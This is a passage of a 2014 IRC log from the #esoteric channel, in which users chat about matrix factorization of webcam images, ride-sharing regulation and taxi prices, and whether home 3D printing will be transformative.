:spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 QUIT :Ping timeout: 265 seconds < 1396286141 778459 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :wow < 1396286145 741802 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :I just discovered something crazy < 1396286151 342043 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :well < 1396286166 996142 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :It's beautiful alright < 1396286236 975596 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :kmc, heh yeah XD < 1396286248 682709 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :kmc, I booted windows in between too < 1396286264 301973 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :kmc, anyway I'm still worried about the hardware.. < 1396286574 234942 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :mroman, oh? < 1396286594 89924 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, nice photos < 1396286609 954656 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i once had a monitor that needed to be rebooted to remove graphics corruption < 1396286643 32295 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :I'm gonna upload it as a video :) < 1396286673 501644 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Vorpal: Did you see the nonnegative matrix factorization one? < 1396286676 612976 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :kmc, it was the GPU though, since I have a multi-head setup and it happened across both monitors < 1396286686 192546 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, I saw this: http://zem.fi/2014-03-25-tl < 1396286692 442451 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, thanks to lambdabot < 1396286712 12987 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :don't see any matrix there < 1396286746 508511 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Vorpal: Right, I've been fiddling with different ways of aggregating the frames, but haven't yet written them up. Here's the NMF one: https://dl.dropboxusercontent.com/u/113389132/Misc/20140331-nmf.jpg < 1396286760 46064 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, pretty, how does it work? < 1396286773 128485 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Looks like time of day / weather < 1396286834 522545 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That's kind of how it ends up, though technically it's the four basis vectors of a rank-4 nonnegative factorization of the 33 source images. Or in English, the set of four images that's best (according to some cost function) if you want to represent all 33 images as a weighted sum of some 4 images. < 1396286858 58326 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fancy! < 1396286886 497771 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You can see e.g. that the lower-left image has the sun in it, so the lower-right one has gotten a "negasun" that can help when representing an overcast day. < 1396286900 234239 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :And the top-left image is useful for putting snow on the ground. < 1396286911 854605 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, the "second view, raw average..." looks kind of other-worldly wrt the plants < 1396286919 864320 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Of course that's just late interpretation, the algorithm doesn't care. < 1396286944 463333 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, with some colour curve enhancing to bring up the saturation it could be really pretty < 1396286985 856797 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, what is a negasun? < 1396287003 180712 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, also what about the top-right? < 1396287010 995616 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :in your interpretation < 1396287031 462270 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, a dark blob where the sun was in the other image. See, when you sum up the bottom row, they annihilate. (And release energy?) < 1396287053 788137 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :hm < 1396287055 683726 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :darn it < 1396287056 959820 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I guess the top-right is just a useful component image for blue skies. < 1396287122 103695 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, how did the dark-spot thing happen? < 1396287129 455501 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :sun from behind?? < 1396287148 33580 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :No, doesn't make sense < 1396287174 503893 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It just falls out of the algorithm, when I feed it both sunny days and overcast days; none of the NMF images are really "real". < 1396287195 590867 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Heh < 1396287226 776877 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I did do some histogram equalization on the plain averages to make them less bland, and they looked quite nice; I just didn't upload those yet because it was done in Gimp after clamping to 8 bits per pixel color depth, and there was quite a lot of banding; I'll try to do it "properly" at some point. (I guess non-devel Gimp still hasn't heard of higher color depths?) < 1396287231 474213 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, looked at the rest of your site, that x86 opcode generator is quite amusing < 1396287258 95792 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Ah yeah < 1396287265 640144 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :After a #esoteric suggestion, I made an IUPAC chemical name generator too: http://zem.fi/tmp/iupac.html < 1396287272 413105 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :fizzie, according to the generator, a future instruction will be "AI" < 1396287345 838219 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The IUPAC generator has an unavoidable (due to the method) habit of generating silly-short names like "5-5" or "6" quite often, but it also does plausible ones. < 1396287360 104511 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, plausible to a non-chemist, anyway. < 1396287369 751996 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'm sure they mostly make no physical sense at all. < 1396287407 331966 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :https://www.youtube.com/watch?v=kfn1Waxo5wc&feature=youtu.be < 1396287409 995310 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :^- there we go < 1396287481 832074 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :mroman, what is it? < 1396287526 274504 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :Some sort of cellular thingy < 1396287697 140355 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :It looks funny :) < 1396288699 223928 :augur!~augur@129-2-129-32.wireless.umd.edu JOIN :#esoteric < 1396288997 955462 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :, yay. < 1396289318 253693 :oklopol!~oklopol@dyn60-339.yok.fi QUIT :Ping timeout: 240 seconds < 1396290806 426478 :augur!~augur@129-2-129-32.wireless.umd.edu QUIT :Remote host closed the connection < 1396290953 763059 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :"The city of Seattle just imposed new limits on commercial app-based ride-sharing companies like Uber and Lyft, effectively protecting taxi companies from low-cost competition in the form of smartphone apps." < 1396290959 282284 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :That's certainly interesting. < 1396291001 522365 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :That's actually the first case of banning technology to protect old technology because it would lots of jobs in danger I know < 1396291071 892519 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :really? I feel like that kind of thing is common < 1396291086 152017 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :unions often fight against improved efficiency for this reason < 1396291110 405383 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :also it's not clearly about jobs -- those drivers could work for Uber or Lyft instead < 1396291136 52629 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :new technologies are often used as an opportunity by all sides to try to renegotiate regulations etc < 1396291139 123801 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I don't know about Seattle but in NYC, taxi medallions are an investment vehicle, worth millions of dollars and usually not owned by the driver or the cab company < 1396291145 788310 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :If they are offered a salary comparable to their current one. < 1396291165 311960 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :so often taxi regulation is about protecting the value of this investment for the people who already hold it < 1396291170 842921 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :\rainbow{PROPERTY RIGHTS} < 1396291172 109880 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :mroman: cab drivers aren't salaried anywhere i've heard of < 1396291198 473360 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :I don't know much about taxis in the US though < 1396291210 822968 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :It's very uncommon in switzerland to use a taxi :) < 1396291222 593771 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396291235 181234 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :too expensive and there's public transport < 1396291243 382821 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :well i imagine in switzerland a taxi ride costs about as much as acquiring whatsapp < 1396291254 726434 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :haha < 1396291255 63079 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :and public transit costs about as much as taxis most places < 1396291333 763663 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :3.80 per Kilometer < 1396291343 153305 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :that'd cost me about 38 CHF to get to town :) < 1396291353 868297 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :compared to 12 CHF I'd have to pay for the bus < 1396291356 641164 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :mroman: i would say, for example, that most tariffs and other restrictions on foreign trade are a form of banning/restricting technology in order to protect certain jobs < 1396291384 723071 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :lexande: but it's not directly a ban against technology < 1396291387 373942 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396291388 716756 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396291397 707551 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :it's more of a ban against massive cheap productions < 1396291399 422227 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :well i suspect the seattle thing is not a direct ban either < 1396291423 776366 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :but rather a set of restrictions designed to make it uneconomical < 1396291446 112675 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :(the technology in the trade case being the ever-cheaper ways of shipping things) < 1396291453 941265 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :an app that lets you call cabs from your phone isn't much of a "technology" either < 1396291457 892114 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's more of a business model < 1396291475 781560 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :sort of < 1396291487 142213 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :it's usually about how you use technology :) < 1396291491 642555 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I mean labeling every company that has a website or a phone app as a "technology company" is pretty silly < 1396291494 722082 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :because that's every company now < 1396291500 71622 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it is common usage, though < 1396291504 221397 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :the internet wasn't really of anyone's privacy concern until facebook showed up :D < 1396291539 477203 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :kmc: 3d printers is the next big thing < 1396291550 692657 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :Depending on how they develop you can produce your own stuff at home < 1396291569 952285 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :mroman: another example i'm familiar with, lightweight trains are illegal in the US for "safety" reasons < 1396291577 177657 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :that'd probably will have a large impact on stuff < 1396291586 522225 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :what's a lightweight train? < 1396291587 580339 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :even though they are used in europe in asia and are empirically safer than trains in the US < 1396291622 738882 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :so trains for use in the US have to be built specifically for the US market, generally at factories in the US < 1396291634 362726 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :rather than just importing whatever from europe or japan < 1396291676 751157 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :there are several reasons for this but protecting US jobs is one of them < 1396291756 272595 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :trains that don't weigh as much as other trains :3 < 1396291778 62264 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :conversely i think that a desire to protect european agriculture and associated jobs is a significant (though not the only) reason for european hostility to GMO crops < 1396291828 832194 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :there's a cultural reason too < 1396291838 871397 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :yes there are other reasons too, in all of these cases < 1396291841 217702 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :people are afraid of genetically modified stuff < 1396291864 692429 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :um < 1396291868 202956 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :and the christians obviously. They don't like it either < 1396291884 971757 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :"christians" are generally more politically powerful in the US < 1396291885 811553 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The Finnish Taxi Owners Federation wrote a press release that they don't see any need for a thing like Uber in Finland, because they already have a couple smartphone apps for ordering a taxi. < 1396291904 86218 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :in holland we have this thing called #D Hubs which effectively connects people with 3d printers at home with people that need prints (making competition with companies such as shapeways) < 1396291912 122294 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :3D Hubs* < 1396291913 943680 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :fizzie: so if the existing cartel doesn't see a need, we should ban it? < 1396291929 391089 :augur_!~augur@129-2-129-32.wireless.umd.edu JOIN :#esoteric < 1396291933 521706 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :not sure what's so great about 3D printers < 1396291942 210129 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :i can't remember the last time i bought something that could be 3D printed < 1396291965 916903 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :i guess when the palmrest of my laptop broke two years ago? < 1396291973 391583 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :christians here are also powerful < 1396291978 362085 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :just not as crazy as in the us ;) < 1396291981 724091 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :lexande: Well, at least according to their interpretation (which does sound reasonable) it was already banned here before it even existed, in that it's not compatible with the regulations; I guess they're just saying there's no need to go changing those rules. < 1396291984 297741 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i heard people saay that they dont see the need in programming anything becacuse everything is available already (those were windows people, mind you)' < 1396291994 967516 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :3d printing is the same as programming < 1396292005 541175 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :fizzie: how much do taxis cost in finland? < 1396292016 888694 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :uberx in SF is under $1 per km < 1396292024 636435 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :Zom-B: Are you playing soldat? < 1396292029 696243 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :wat? < 1396292033 204139 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :the 2d game? < 1396292048 351399 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :holy shit new enemy starfighter trailer https://www.youtube.com/watch?v=W_U2MdCdaR4 < 1396292050 150944 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :*googling* < 1396292057 122334 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :...oops wrong channel but still < 1396292059 691645 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :If you have to google it that's probably a "no" ;) < 1396292061 424436 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :lexande: Quite a lot. It's about 40 euros to take a taxi from home to the airport (the only thing we use them for, really), and I think that's something like 15-20 km. < 1396292070 312007 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :Zom-B: i'm not saying that 3D printing is not needed because it provides things i can already get other ways, i'm saying that i don't see how it provides anything i would want ever < 1396292081 222343 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :looks like worms < 1396292095 932284 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :It just so happened that someone with your nick was on a public server some minutes ago :D < 1396292117 227808 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Apparently 1.52 €/km (for 1-2 persons) in addition to the base costs and airport fees and whatnot. < 1396292128 417689 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :you make custom things, as opposed to hacking things together with scrap and household tools < 1396292142 117143 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :see it like programming instead of chaining and piping linux commands < 1396292146 645056 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :fizzie: hmm that's pretty good < 1396292156 302071 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I guess that's about twice the price. < 1396292157 718229 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :Zom-B: but i never hack things together with scrap and household tools < 1396292165 401609 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :what things would i ever make that way? < 1396292172 143595 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :see hackaday.com < 1396292199 294141 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :maybe not the best example site because they use lots of electronics < 1396292284 421074 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :homebrew electronics projects are sometimes cool, though a lot of them will still basically be useless trinkets < 1396292327 581279 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :but the vast majority of 3D printed things seem to be useless trinkets < 1396292369 68133 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :they do, if you go to one of those model sites < 1396292370 491156 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :for now < 1396292373 142217 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i never look at that crap < 1396292380 867420 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :sure < 1396292390 916027 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :tell me something i could conceivably 3D print that i actually want < 1396292414 100477 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :a spoon? < 1396292421 475358 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :lexande: are you arguing against the general utility of 3D printers or just your personal need for one? < 1396292425 514350 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i dont know what you want, so i can name 10 things and you can argue about every one that there is an alternative < 1396292441 577164 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :or... maybe some gunz? < 1396292448 583896 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I have a cool glow-in-the-dark 3D printed light fixture in my living room < 1396292452 672265 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it may be a "useless trinket" < 1396292457 662284 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :mroman: one-shot-only guns? < 1396292462 131576 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :well < 1396292466 197516 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :if you're skilled... < 1396292469 863344 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :you can 3D print an AR-15 lower receiver < 1396292472 813005 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :one shot is the only one you need < 1396292486 374998 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :though i agree that most 3d printer owners print 'gadgets' that only exist for coolness < 1396292507 811081 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :anyway lexande this is like when you argued there is no reason for anybody to ever cook at home because you, personally, don't care about food quality or price or variety or convenience < 1396292510 1517 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :kmc: i mean, the technology is cool and there are definitely uses, i just don't think it's particulary "transformative" < 1396292532 50604 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :kmc: and i'm arguing a strong version of that because i'm contrarian < 1396292536 152079 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I think home 3D printing is in the Altair 8800 stage right now < 1396292540 752290 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :also a useless trinket < 1396292571 963936 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i dont own 3d printer and never really had any ideas about what to print myself < 1396292572 769035 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :(what, i do care about price, that is why i eat 99¢ pizza) < 1396292584 82475 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :but i once designed a replacement piece for a tabletop game where a piece was broken so a friend could print it < 1396292603 552480 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :yeah < 1396292613 204500 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :that seems like a good use case < 1396292626 618318 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :and i am glad 3D printers are becoming cheaper and more available for that kind of use case < 1396292675 540910 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :then i designed a toothbrush holder, failed a bit with the lid tolerances, but he practically begged it to put the designs online because there were so many requests < 1396292710 324675 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :but to compare them to the altair 8800 is to suggest that in a few decades they will be completely pervasive and everyone will use one on a daily basis and be unable to imagine life without it with many people centering their whole lives around it < 1396292746 421683 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :and i can't imagine this, am i missing something? < 1396292761 185883 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :well some people imagine a world where you can print anything non-electronic that you now have to buy < 1396292766 672694 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I have a model train enthusiast friend who's printed some spare parts or some-such at the library; that seems like another rather natural use case. < 1396292769 671919 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :from travel games to flower vases < 1396292875 173661 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :50 years ago when the only printed paper was offset-pressed, did they think that they needed to do that at home? < 1396292878 621166 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :3D printing has a high medical-use potential < 1396292878 808710 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Fun fact: a printout from the library 3D printer costs the same amount -- 0.40 eur -- as a copy of a sheet of paper.) < 1396292882 757170 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Though it's this experimental "showcase" / "makerspace" thing-kind-of-a-place, and not, you know, a standard feature in all local libraries.) < 1396292993 70944 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :Zom-B: i mean, i struggle to think of non-electronic non-food things i buy. clothes i guess? is it suggested those would mostly be 3D printed? < 1396293023 581857 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :comb? < 1396293058 653267 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :though i saw a 3d printed version irl, that looked like a torture tool < 1396293071 305911 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :lexande: Guns, of course. < 1396293087 526440 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :i guess i own a comb, and some bowls and such, once-a-decade purchases < 1396293095 993008 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :3D printing is also transformative in product design and prototyping < 1396293116 511667 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i guess electronics or mechanics isn't any of your hobbies < 1396293131 181230 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :cos those people love 3d printed enclosures < 1396293131 460470 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :lexande: "i struggle to think of non-electronic non-food things i buy" <--- exhibit A that you are not most people < 1396293184 949698 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :People who love 3D-printed enclosures aren't most people either, though. < 1396293186 908557 :Bicyclidine!~Glossina@wl-nat109.it.wsu.edu JOIN :#esoteric < 1396293232 551608 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i see on shapeways (which can print much higher quality than a makerbot, and in metal) they have lots of jewelry < 1396293290 800939 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Isn't it kind of curious that VR and 3D printing are both the (alleged) Next Big Thing, even though they're kind of opposites? < 1396293336 822149 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :One takes you to the place where the 3D models live, and the other brings 3D models back to where you live, after all. < 1396293352 288426 :Bicyclidine!~Glossina@wl-nat109.it.wsu.edu PRIVMSG #esoteric :both involve giant penis scupltures, though < 1396293368 259591 :sebbu!~sebbu@unaffiliated/sebbu QUIT :Ping timeout: 240 seconds < 1396293382 301170 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Both will be (are?) used for porn, too; there's that. < 1396293401 868130 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :VR? < 1396293410 81542 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fizzie: right, but I think there are a lot of separate use cases for 3D printing and they might add up to a lot of people (if not most), even if lexande falls outside all of them < 1396293440 33850 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :mroman: Virtual reality. < 1396293446 963336 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :oh. < 1396293456 155774 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :douglass_ has some textile-working equipment that she designed and I produced on a laser cutter < 1396293456 901075 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :I honestly don't see that coming :) < 1396293475 500879 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :mroman: A lot of people do, though. (See: Sony, and the Facebook Oculus acquisition.) < 1396293484 198679 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1396293489 91412 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG 